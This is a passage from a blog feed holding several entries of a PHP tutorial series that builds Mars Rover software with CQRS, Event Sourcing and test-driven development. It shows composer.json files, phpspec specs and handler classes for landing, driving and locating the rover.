<li>create a "CommandHandler" object that does the actual work</li>
</ol>

<p>With Event Sourcing, the "actual work" for "write" use cases is simply creating
an event and store it. For the "read" use cases it could be retrieving the
latests state by replaying all the past events in the store, or simply retrieving
the latest state from a cache.</p>

<p>And last but not least, we've written tests before writing the actual code, which
helped us to think about how the code will be used. Our test method names were
written as if they were sentences, which has the consequence to make our test
a descriptive and accurate documentation. And of course our tests make sure we
don't introduce regressions.</p>

<p>I hope this series has helped to introduce you to those concepts.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Locating geolocation]]></title>
            <link href="/2016/10/05/mars-rover-locating-geolocation.html"/>
            <updated>2016-10-05T00:00:00+01:00</updated>
            <id>/2016/10/05/mars-rover-locating-geolocation.html</id>
            <content type="html"><![CDATA[<p>In this series we're building the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It allows us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>We've already developed the first use case about landing the rover on mars,
and the second one about driving it. We're now developing the last one,
requesting its location:</p>

<blockquote>
  <p>Mars rover will be requested to give its current location (<code>x</code> and <code>y</code>
  coordinates and the orientation).</p>
</blockquote>

<p>In this article we're going to create a new package for the geolocation value
objects (<code>Location</code>, <code>Coordinates</code> and <code>Orientation</code>).</p>

<h2 id="creating-the-%60geolocation%60-package">Creating the <code>geolocation</code> package</h2>

<p>We can start by creating the directory:</p>

<pre><code>git checkout 5-location
mkdir -p packages/geolocation
cd packages/geolocation
</code></pre>

<p>Composer needs us to set up the package by creating a <code>composer.json</code> file:</p>

<pre><code>{
    "name": "mars-rover/geolocation",
    "license": "MIT",
    "type": "library",
    "description": "Mars Rover - Geolocation",
    "autoload": {
        "psr-4": { "MarsRover\\Geolocation\\": "src/MarsRover/Geolocation" }
    },
    "require": {
        "php": "^7.0"
    },
    "require-dev": {
        "memio/spec-gen": "^0.6"
    }
}
</code></pre>

<p>We've decided to use <a href="http://phpspec.net/">phpspec</a> as a test framework, and
to get the most of it we'd like to use its <a href="http://memio.github.io/spec-gen">SpecGen</a>
extension. To do so we need to create the <code>phpspec.yml.dist</code> file:</p>

<pre><code>extensions:
    Memio\SpecGen\MemioSpecGenExtension: ~
</code></pre>

<blockquote>
  <p><strong>Note</strong>: For more information about phpspec
  <a href="/2015/08/03/phpspec.html">see this article</a>.</p>
</blockquote>

<p>Finally, we can configure this package's git by creating a <code>.gitignore</code> file:</p>

<pre><code># Configuration
/phpspec.yml

# Third Party libraries
/vendor/
/composer.lock
</code></pre>

<p>With this we've finished creating our package. We can run Composer:</p>

<pre><code>composer install --optimize-autoloader
</code></pre>

<p>That should be enough for a first commit:</p>

<pre><code>git add -A
git commit -m '5: Created Geolocation package'
</code></pre>

<h2 id="adding-%60geolocation%60-to-the-project">Adding <code>geolocation</code> to the project</h2>

<p>Let's go back to the project's root:</p>

<pre><code>cd ../../
</code></pre>

<p>All we need to do is to add a new line in the <code>require</code> section of our
<code>composer.json</code> file:</p>

<pre><code>{
    "name": "mars-rover/mars-rover",
    "license": "MIT",
    "type": "project",
    "description": "Mars Rover",
    "repositories": [
        {
            "type": "path",
            "url": "./packages/*"
        }
    ],
    "require": {
        "mars-rover/event-sourcing": "*@dev",
        "mars-rover/geolocation": "*@dev",
        "mars-rover/location": "*@dev",
        "mars-rover/navigation": "*@dev",
        "php": "^7.0"
    },
    "require-dev": {
        "phpspec/phpspec": "^3.0"
    }
}
</code></pre>

<p>Actually, we also need to add a new section in <code>phpspec.yml.dist</code>:</p>

<pre><code>suites:
    event-sourcing:
        namespace: 'MarsRover\EventSourcing'
        src_path: packages/event-sourcing/src
        spec_path: packages/event-sourcing

    geolocation:
        namespace: 'MarsRover\Geolocation'
        src_path: packages/geolocation/src
        spec_path: packages/geolocation

    location:
        namespace: 'MarsRover\Location'
        src_path: packages/location/src
        spec_path: packages/location

    navigation:
        namespace: 'MarsRover\Navigation'
        src_path: packages/navigation/src
        spec_path: packages/navigation
</code></pre>

<p>And that's it! We are now able to run Composer and then phpspec:</p>

<pre><code>composer update --optimize-autoloader
vendor/bin/phpspec run
</code></pre>

<p>That should be enough for a second commit:</p>

<pre><code>git add -A
git commit -m '5: Added geolocation package to main project'
</code></pre>

<h2 id="adding-%60geolocation%60-to-%60navigation%60">Adding <code>geolocation</code> to <code>navigation</code></h2>

<p>Now let's go to the <code>navigation</code> package:</p>

<pre><code>cd packages/navigation
</code></pre>

<p>All we need to do is to add a new line in the <code>require</code> section of our
<code>composer.json</code> file:</p>

<pre><code>{
    "name": "mars-rover/navigation",
    "license": "MIT",
    "type": "library",
    "description": "Mars Rover - Navigation",
    "autoload": {
        "psr-4": { "MarsRover\\Navigation\\": "src/MarsRover/Navigation" }
    },
    "repositories": [
        {
            "type": "path",
            "url": "../*"
        }
    ],
    "require": {
        "mars-rover/event-sourcing": "*@dev",
        "mars-rover/geolocation": "*@dev",
        "php": "^7.0"
    },
    "require-dev": {
        "memio/spec-gen": "^0.6"
    }
}
</code></pre>

<p>And that's it! We are now able to run Composer and then phpspec:</p>

<pre><code>composer update --optimize-autoloader
vendor/bin/phpspec run
</code></pre>

<p>That should be enough for a third commit:</p>

<pre><code>git add -A
git commit -m '5: Added geolocation package to navigation package'
</code></pre>

<h2 id="adding-%60geolocation%60-to-%60location%60">Adding <code>geolocation</code> to <code>location</code></h2>

<p>Now let's go to the <code>location</code> package:</p>

<pre><code>cd ../location
</code></pre>

<p>This time, in addition to a new line in the <code>require</code> section we also need to
add a new <code>repositories</code> section to our <code>composer.json</code> file:</p>

<pre><code>{
    "name": "mars-rover/location",
    "license": "MIT",
    "type": "library",
    "description": "Mars Rover - Location",
    "autoload": {
        "psr-4": { "MarsRover\\Location\\": "src/MarsRover/Location" }
    },
    "repositories": [
        {
            "type": "path",
            "url": "../*"
        }
    ],
    "require": {
        "mars-rover/geolocation": "*@dev",
        "php": "^7.0"
    },
    "require-dev": {
        "memio/spec-gen": "^0.6"
    }
}
</code></pre>

<p>And that's it! We are now able to run Composer and then phpspec:</p>

<pre><code>composer update --optimize-autoloader
vendor/bin/phpspec run
</code></pre>

<p>That should be enough for a fourth and last commit:</p>

<pre><code>git add -A
git commit -m '5: Added geolocation package to location package'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>We've now created a <code>geolocation</code> package that is shared between <code>navigation</code>
and <code>location</code>, keeping them both separate.</p>

<h2 id="what%27s-next">What's next</h2>

<p>In the next article, we'll start moving our value objects to our new package.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Locating refactoring]]></title>
            <link href="/2016/09/28/mars-rover-locating-refactoring.html"/>
            <updated>2016-09-28T00:00:00+01:00</updated>
            <id>/2016/09/28/mars-rover-locating-refactoring.html</id>
            <content type="html"><![CDATA[<p>In this series we're building the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It allows us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>We've already developed the first use case about landing the rover on mars,
and the second one about driving it. We're now developing the last one,
requesting its location:</p>

<blockquote>
  <p>Mars rover will be requested to give its current location (<code>x</code> and <code>y</code>
  coordinates and the orientation).</p>
</blockquote>

<p>In this article we're going to create the locating logic:</p>

<pre><code>git checkout 5-location
</code></pre>

<h2 id="location">Location</h2>

<p>Our <code>LocateRover</code> command object relies on a <code>FindLatestLocation</code> service. They
both currently return an array containing the coordinates and orientation of
our rover. Since <code>FindLatestLocation</code> is an interface, we can't control what's
being actually returned... This could be fixed by specifying a <code>Location</code>
object as a return type, and it would make things more explicit.</p>

<p>Since Our <code>Location</code> object will contain <code>Coordinates</code> and <code>Orientation</code>, we
might want to create it in the <code>navigation</code> packages, where those two other
objects are alreay:</p>

<pre><code>cd packages/navigation
</code></pre>

<p>We can now start writing <code>Location</code>'s test:</p>

<pre><code>vendor/bin/phpspec describe 'MarsRover\Navigation\Location'
</code></pre>

<p>This should have bootstrapped the following
<code>spec/MarsRover/Navigation/LocationSpec.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\Location;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class LocationSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType(Location::class);
    }
}
</code></pre>

<p>We can then edit it to specify that it should contain <code>Coordinates</code> and
<code>Orientation</code>:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\Coordinates;
use MarsRover\Navigation\Orientation;
use PhpSpec\ObjectBehavior;

class LocationSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;
    const ORIENTATION = Orientation::NORTH;

    function it_has_coordinates()
    {
        $coordinates = new Coordinates(self::X, self::Y);
        $orientation = new Orientation(self::ORIENTATION);
        $this-&gt;beConstructedWith($coordinates, $orientation);

        $this-&gt;getCoordinates()-&gt;shouldBe($coordinates);
    }

    function it_has_orientation()
    {
        $coordinates = new Coordinates(self::X, self::Y);
        $orientation = new Orientation(self::ORIENTATION);
        $this-&gt;beConstructedWith($coordinates, $orientation);

        $this-&gt;getOrientation()-&gt;shouldBe($orientation);
    }
}
</code></pre>

<p>That sounds simple enough, we can run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>And of course they fail because <code>Location</code> doesn't exist yet. to help us write
it, phpspec bootstrapped the following <code>src/MarsRover/Navigation/Location.php</code>
file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class Location
{
    private $coordinates;

    private $orientation;

    public function __construct(Coordinates $coordinates, Orientation $orientation)
    {
        $this-&gt;coordinates = $coordinates;
        $this-&gt;orientation = $orientation;
    }

    public function getCoordinates()
    {
    }

    public function getOrientation()
    {
    }
}
</code></pre>

<p>Let's complete it:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class Location
{
    private $coordinates;
    private $orientation;

    public function __construct(
        Coordinates $coordinates,
        Orientation $orientation
    ) {
        $this-&gt;coordinates = $coordinates;
        $this-&gt;orientation = $orientation;
    }

    public function getCoordinates() : Coordinates
    {
        return $this-&gt;coordinates;
    }

    public function getOrientation() : Orientation
    {
        return $this-&gt;orientation;
    }
}
</code></pre>

<p>This should be enough to make our tests pass:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! We can now commit our work:</p>

<pre><code>git add -A
git commit -m '5: Created Location'
</code></pre>

<h2 id="refactoring-landrover">Refactoring LandRover</h2>

<p>This <code>Location</code> value object looks great! Why didn't we create it in the first
place? That'll be pragmatism for you: don't create something you might need in
the future, create something you need now. But now that's it's here, we can
refactor <code>LocateRover</code> to use it.</p>

<p>First let's update its test:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\Location;
use MarsRover\Navigation\Orientation;
use PhpSpec\ObjectBehavior;

class LandRoverSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;
    const ORIENTATION = Orientation::NORTH;

    function it_has_location()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $location = $this-&gt;getLocation();
        $location-&gt;shouldHaveType(Location::class);
        $coordinates = $location-&gt;getCoordinates();
        $coordinates-&gt;getX()-&gt;shouldBe(self::X);
        $coordinates-&gt;getY()-&gt;shouldBe(self::Y);
        $location-&gt;getOrientation()-&gt;get()-&gt;shouldBe(self::ORIENTATION);
    }
}
</code></pre>

<p>Then its code:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class LandRover
{
    private $location;

    public function __construct($x, $y, $orientation)
    {
        $this-&gt;location = new Location(
            new Coordinates($x, $y),
            new Orientation($orientation)
        );
    }

    public function getLocation() : Location
    {
        return $this-&gt;location;
    }
}
</code></pre>

<p>And finally <code>LandRoverHandler</code>:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

use MarsRover\EventSourcing\{
    AnEventHappened,
    EventStore
};

class LandRoverHandler
{
    private $anEventHappened;
    private $eventStore;

    public function __construct(
        AnEventHappened $anEventHappened,
        EventStore $eventStore
    ) {
        $this-&gt;anEventHappened = $anEventHappened;
        $this-&gt;eventStore = $eventStore;
    }

    public function handle(LandRover $landRover)
    {
        $location = $landRover-&gt;getLocation();
        $coordinates = $location-&gt;getCoordinates();
        $orientation = $location-&gt;getOrientation();
        $roverLanded = $this-&gt;anEventHappened-&gt;justNow(Events::ROVER_LANDED, [
            'x' =&gt; $coordinates-&gt;getX(),
            'y' =&gt; $coordinates-&gt;getY(),
            'orientation' =&gt; $orientation-&gt;get(),
        ]);
        $this-&gt;eventStore-&gt;log($roverLanded);
    }
}
</code></pre>

<p>Let's check the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! That should be enough to commit:</p>

<pre><code>git add -A
git commit -m '5: Used Location in LandRover'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>While we've been playing with the notion of <code>Location</code> since the very first
use case, it's only now that we really need it that we created it.</p>

<p>It encapsulates X and Y coordinates as well as an orientation.</p>

<h2 id="what%27s-next%3F">What's next?</h2>

<p><code>Location</code> is currently in the <code>navigation</code> package, but we also need it in
the <code>location</code> package... To fix this we have the following solutions:</p>

<ul>
<li>add <code>navigation</code> as a dependency of <code>location</code></li>
<li>merge together <code>navigation</code> and <code>location</code></li>
<li>create a new <code>geolocation</code> package, with <code>Location</code>, <code>Coordinates</code> and
<code>Orientation</code></li>
</ul>

<p>Since we want to keep <code>navigation</code> and <code>location</code> separate, we'll opt for the
third option and create this new package in the next article.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Locating handler]]></title>
            <link href="/2016/09/21/mars-rover-locating-handler.html"/>
            <updated>2016-09-21T00:00:00+01:00</updated>
            <id>/2016/09/21/mars-rover-locating-handler.html</id>
            <content type="html"><![CDATA[<p>In this series we're building the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It allows us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>We've already developed the first use case about landing the rover on mars,
and the second one about driving it. We're now developing the last one,
requesting its location:</p>

<blockquote>
  <p>Mars rover will be requested to give its current location (<code>x</code> and <code>y</code>
  coordinates and the orientation).</p>
</blockquote>

<p>In this article we're going to create the locating logic:</p>

<pre><code>cd packages/location
git checkout 5-location
</code></pre>

<h2 id="locate-rover">Locate Rover</h2>

<p>As usual, we're going to use our
<a href="/2016/06/29/mars-rover-landing.html#twisting-command-bus">Command Bus twist</a>:</p>

<ul>
<li>create a Command object that contains and validates input parameters</li>
<li>create a Command Handler object that receives the Command and does the
actual logic</li>
</ul>

<p>However in this case we don't have any input parameters: we only want the
location of the rover. So do we really need to create an empty <code>LocateRover</code>
class?</p>

<p>If in the future we want to handle many rovers (a Rover name or ID parameter)
or if we want to know the location of a rover at a given time (time parameter),
then having this empty class can make sense: we can then fill it later.</p>

<p>However, in this tutorial anyway, we don't have such a need so we can be
pragmatic about it and just omit it.</p>

<h2 id="locateroverhandler">LocateRoverHandler</h2>

<p>Let's start straight away by creating the <code>LocateRoverHandler</code>. We're starting
by bootstraping the test class:</p>

<pre><code>vendor/bin/phpspec describe 'MarsRover\Location\LocateRoverHandler'
</code></pre>

<p>This should create the following
<code>spec/MarsRover/Location/LocateRoverHandlerSpec.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Location;

use MarsRover\Location\LocateRoverHandler;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class LocateRoverHandlerSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType(LocateRoverHandler::class);
    }
}
</code></pre>

<p>We'll need a service which is able to replay all the landing and driving events
to compute the latest location of the rover. Let's call it <code>FindLatestLocation</code>.
Or maybe it'd be faster if we computed that latest location on the go, while
we receive each landing and driving event? In that case our <code>FindLatestLocation</code>
would just need to retrieve those values from a sort of cache.</p>

<p>It sounds like we can have many ways of finding the rover location, and
commiting to one right now only to find out later that another implementation
was better would be a shame. So let's delay our decision and rely on an
interface for now:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Location;

use MarsRover\Location\Service\FindLatestLocation;
use PhpSpec\ObjectBehavior;

class LocateRoverHandlerSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;
    const ORIENTATION = 'north';

    const LOCATION = [
        'x' =&gt; self::X,
        'y' =&gt; self::Y,
        'orientation' =&gt; self::ORIENTATION,
    ];

    function it_finds_a_rover_latest_location(
        FindLatestLocation $findLatestLocation
    ) {
        $this-&gt;beConstructedWith($findLatestLocation);

        $findLatestLocation-&gt;find()-&gt;willReturn(self::LOCATION);

        $this-&gt;handle()-&gt;shouldBe(self::LOCATION);
    }
}
</code></pre>

<p>It might be our smallest Handler of all. Since it only uses one service, we
might start wondering if it was worth to have a handler at all (we could just
use the <code>FindLatestLocation</code> service directly), after all we did skip the
Command for similar reasons.</p>

<p>However, if we throw away our handler, we'll lose our "automated use case
documentation": the service is an interface and cannot be tested. So let's keep
it. Let's run the tests now:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>They fail because <code>LocateRoverHandler</code> doesn't exist, but phpspec bootstrapped
it for us in the <code>src/MarsRover/Location/LocateRoverHandler.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Location;

use MarsRover\Location\Service\FindLatestLocation;

class LocateRoverHandler
{
    private $findLatestLocation;

    public function __construct(FindLatestLocation $findLatestLocation)
    {
        $this-&gt;findLatestLocation = $findLatestLocation;
    }

    public function handle()
    {
    }
}
</code></pre>

<p>Thanks to the <a href="https://github.com/memio/spec-gen">SpecGen extension</a>, phpspec
was able to detect Dependency Injection, and bootstrapped a constructor with
an attribute initialization for us. How nice!</p>

<p>We'll just need to complete the <code>handle</code> method:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Location;

use MarsRover\Location\Service\FindLatestLocation;

class LocateRoverHandler
{
    private $findLatestLocation;

    public function __construct(FindLatestLocation $findLatestLocation)
    {
        $this-&gt;findLatestLocation = $findLatestLocation;
    }

    public function handle()
    {
        return $this-&gt;findLatestLocation-&gt;find();
    }
}
</code></pre>

<p>Overall, the code looks very similar to the test. Let's run them again:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! We can commit our work:</p>

<pre><code>git add -A
git commit -m '5: Created LocateRoverHandler'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Locating the rover is as simple as retrieving it from somewhere. We've
delegated the decision on where this "somewhere" is because there are many
valid solutions (replaying all the events from the EventStore, a cache, etc).</p>

<p>Delegating those decisions can be done by creating an interface, it allows us
to create as many implementations as we want, without having to modify the
logic we've just written.</p>

<h2 id="what%27s-next%3F">What's next?</h2>

<p>The Test Driven Development cycle wouldn't be complete without a refactoring
step. In the next article we'll create a <code>Location</code> value object, to make our
<code>FindLatestLocation</code> and <code>LocateRoverHandler</code> classes return something more
explicit.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Locating package]]></title>
            <link href="/2016/09/14/mars-rover-locating-package.html"/>
            <updated>2016-09-14T00:00:00+01:00</updated>
            <id>/2016/09/14/mars-rover-locating-package.html</id>
            <content type="html"><![CDATA[<p>In this series we're building the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It allows us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>We've already developed the first use case about landing the rover on mars,
and the second one about driving it. We're now going to start developing the
last one, requesting its location:</p>

<blockquote>
  <p>Mars rover will be requested to give its current location (<code>x</code> and <code>y</code>
  coordinates and the orientation).</p>
</blockquote>

<p>In this article we're going to create a new package for the location logic.</p>

<h2 id="why-a-new-package%3F">Why a new package?</h2>

<p>Until now we've been putting our Landing and Driving code in the <code>navigation</code>
package. It's a "write" type of logic: an event occurs and we log it in the
Event Store.</p>

<p>On the other hand, requesting the location of the rover is a "read" type of
logic, since we've decided to follow the CQRS principle we're going to
separate them and put it in its own package.</p>

<p>The benefit of this approach can become more apparent if we decide to create
web APIs to control our Mars Rover and replicate the data accross multiple
servers: we could put the "write" endpoints on a single "Publishing" server,
and then put the "read" endpoints on many "Subsriber" servers.</p>

<p>The "Subscriber" servers only need to synchronize their data with the
"Publisher" server, allowing us to scale.</p>

<h2 id="creating-the-%60location%60-package">Creating the <code>location</code> package</h2>

<p>We can start by creating the directory:</p>

<pre><code>git checkout -b 5-location
mkdir -p packages/location
cd packages/location
</code></pre>

<p>Composer needs us to set up the package by creating a <code>composer.json</code> file:</p>

<pre><code>{
    "name": "mars-rover/location",
    "license": "MIT",
    "type": "library",
    "description": "Mars Rover - Location",
    "autoload": {
        "psr-4": { "MarsRover\\Location\\": "src/MarsRover/Location" }
    },
    "require": {
        "php": "^7.0"
    },
    "require-dev": {
        "memio/spec-gen": "^0.6"
    }
}
</code></pre>

<p>We've decided to use <a href="http://phpspec.net/">phpspec</a> as a test framework, and
to get the most of it we'd like to use its <a href="http://memio.github.io/spec-gen">SpecGen</a>
extension. To do so we need to create the <code>phpspec.yml.dist</code> file:</p>

<pre><code>extensions:
    Memio\SpecGen\MemioSpecGenExtension: ~
</code></pre>

<blockquote>
  <p><strong>Note</strong>: For more information about phpspec
  <a href="/2015/08/03/phpspec.html">see this article</a>.</p>
</blockquote>

<p>Finally, we can configure this package's git by creating a <code>.gitignore</code> file:</p>

<pre><code># Configuration
/phpspec.yml

# Third Party libraries
/vendor/
/composer.lock
</code></pre>

<p>With this we've finished creating our package. We can run Composer:</p>

<pre><code>composer install --optimize-autoloader
</code></pre>

<p>That should be enough for a first commit:</p>

<pre><code>git add -A
git commit -m '5: Created Location package'
</code></pre>

<h2 id="adding-%60location%60-to-the-project">Adding <code>location</code> to the project</h2>

<p>Let's go back to the project's root:</p>

<pre><code>cd ../../
</code></pre>

<p>All we need to do is to add a new line in the <code>require</code> section of our
<code>composer.json</code> file:</p>

<pre><code>{
    "name": "mars-rover/mars-rover",
    "license": "MIT",
    "type": "project",
    "description": "Mars Rover",
    "repositories": [
        {
            "type": "path",
            "url": "./packages/*"
        }
    ],
    "require": {
        "mars-rover/event-sourcing": "*@dev",
        "mars-rover/location": "*@dev",
        "mars-rover/navigation": "*@dev",
        "php": "^7.0"
    },
    "require-dev": {
        "phpspec/phpspec": "^3.0"
    }
}
</code></pre>

<p>Actually, we also need to add a new section in <code>phpspec.yml.dist</code>:</p>

<pre><code>suites:
    event-sourcing:
        namespace: 'MarsRover\EventSourcing'
        src_path: packages/event-sourcing/src
        spec_path: packages/event-sourcing

    location:
        namespace: 'MarsRover\Location'
        src_path: packages/location/src
        spec_path: packages/location

    navigation:
        namespace: 'MarsRover\Navigation'
        src_path: packages/navigation/src
        spec_path: packages/navigation
</code></pre>

<p>And that's it! We are now able to run Composer and then phpspec:</p>

<pre><code>composer update --optimize-autoloader
vendor/bin/phpspec run
</code></pre>

<p>That should be enough for a second commit:</p>

<pre><code>git add -A
git commit -m '5: Added location package to main project'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>In order to keep the "write" logic in the <code>navigation</code> package separated
from the "read" logic, we've created a new <code>location</code> package.</p>

<h2 id="what%27s-next">What's next</h2>

<p>In the next article, we'll start creating the <code>LocateDriverHandler</code> class.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Driving event]]></title>
            <link href="/2016/09/07/mars-rover-driving-event.html"/>
            <updated>2016-09-07T00:00:00+01:00</updated>
            <id>/2016/09/07/mars-rover-driving-event.html</id>
            <content type="html"><![CDATA[<p>In this series we're building the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It allows us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>We've already developed the first use case about landing the rover on mars,
and we've started the second one about driving it:</p>

<blockquote>
  <p>Once a rover has been landed on Mars it is possible to drive them, using
  instructions such as <code>move_forward</code> (keeps orientation, but moves along the
  <code>x</code> or <code>y</code> axis) or <code>turn_left</code> / <code>turn_right</code> (keeps the same coordinates,
  but changes the orientation).</p>
</blockquote>

<p>In this article we're going to create the actual driving logic, using
Event Sourcing:</p>

<pre><code>cd packages/navigation
git checkout 4-driving
</code></pre>

<h2 id="driveroverhandler">DriveRoverHandler</h2>

<p>Following our <a href="/2016/06/29/mars-rover-landing.html#twisting-command-bus">Command Bus twist</a>,
we're now going to create the <code>DriveRoverHandler</code> class that's going to take
care of the actual logic associated to the <code>DriveRover</code> use case. We're
starting by bootstraping the test class:</p>

<pre><code>vendor/bin/phpspec describe 'MarsRover\Navigation\DriveRoverHandler'
</code></pre>

<p>This should create the following
<code>spec/MarsRover/Navigation/DriveRoverHandlerSpec.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\DriveRoverHandler;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class DriveRoverHandlerSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType(DriveRoverHandler::class);
    }
}
</code></pre>

<p><a href="/2016/06/15/mars-rover-introduction.html#event-sourcing">Event Sourcing</a> is
all about recording significant actions. Driving a rover seems significant
enough, so that's what <code>DriveRoverHandler</code> should do:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\EventSourcing\AnEventHappened;
use MarsRover\EventSourcing\Event;
use MarsRover\EventSourcing\EventStore;
use MarsRover\Navigation\DriveRover;
use MarsRover\Navigation\Instruction;
use PhpSpec\ObjectBehavior;

class DriveRoverHandlerSpec extends ObjectBehavior
{
    const DRIVING_INSTRUCTION = Instruction::MOVE_FORWARD;

    const EVENT_NAME = 'rover_driven';
    const EVENT_DATA = [
        'instruction' =&gt; self::DRIVING_INSTRUCTION,
    ];

    function it_drives_a_rover_with_given_instruction(
        AnEventHappened $anEventHappened,
        Event $roverDriven,
        EventStore $eventStore
    ) {
        $this-&gt;beConstructedWith($anEventHappened, $eventStore);
        $driveRover = new DriveRover(
            self::DRIVING_INSTRUCTION
        );

        $anEventHappened-&gt;justNow(
            self::EVENT_NAME,
            self::EVENT_DATA
        )-&gt;willReturn($roverDriven);
        $eventStore-&gt;log($roverDriven)-&gt;shouldBeCalled();

        $this-&gt;handle($driveRover);
    }
}
</code></pre>

<p>It's very similar to what we've done for <code>LandRoverHandler</code>, all we've done
is create and event specific to driving the rover with its instructions
and "logged" it in an `EventStore. Let's run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>They fail because <code>DriveRoverHandler</code> doesn't exists, but phpspec bootstrapped
it for us in the <code>src/MarsRover/Navigation/DriveRoverHandler.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

use MarsRover\EventSourcing\AnEventHappened;
use MarsRover\EventSourcing\EventStore;

class DriveRoverHandler
{
    private $anEventHappened;

    private $eventStore;

    public function __construct(AnEventHappened $anEventHappened, EventStore $eventStore)
    {
        $this-&gt;anEventHappened = $anEventHappened;
        $this-&gt;eventStore = $eventStore;
    }

    public function handle(DriveRover $driveRover)
    {
    }
}
</code></pre>

<p>Thanks to the <a href="https://github.com/memio/spec-gen">SpecGen extension</a>, phpspec
was able to detect Dependency Injection, and bootstrapped a constructor with
an attribute initialization for us. How nice!</p>

<p>We'll just need to complete the <code>handle</code> method:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

use MarsRover\EventSourcing\{
    AnEventHappened,
    EventStore
};

class DriveRoverHandler
{
    const EVENT_NAME = 'rover_driven';

    private $anEventHappened;
    private $eventStore;

    public function __construct(
        AnEventHappened $anEventHappened,
        EventStore $eventStore
    ) {
        $this-&gt;anEventHappened = $anEventHappened;
        $this-&gt;eventStore = $eventStore;
    }

    public function handle(DriveRover $driveRover)
    {
        $roverDriven = $this-&gt;anEventHappened-&gt;justNow(self::EVENT_NAME, [
            'instruction' =&gt; $driveRover-&gt;getInstruction()-&gt;get(),
        ]);
        $this-&gt;eventStore-&gt;log($roverDriven);
    }
}
</code></pre>

<p>Overall, the code looks very similar to the test. Let's run them again:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! We're going to do a quick refactoring to move the event name in
the <code>src/MarsRover/Navigation/Events.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class Events
{
    const ROVER_LANDED = 'rover_landed';
    const ROVER_DRIVEN = 'rover_driven';
}
</code></pre>

<p>Then use it in the code:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

use MarsRover\EventSourcing\{
    AnEventHappened,
    EventStore
};

class DriveRoverHandler
{
    private $anEventHappened;
    private $eventStore;

    public function __construct(
        AnEventHappened $anEventHappened,
        EventStore $eventStore
    ) {
        $this-&gt;anEventHappened = $anEventHappened;
        $this-&gt;eventStore = $eventStore;
    }

    public function handle(DriveRover $driveRover)
    {
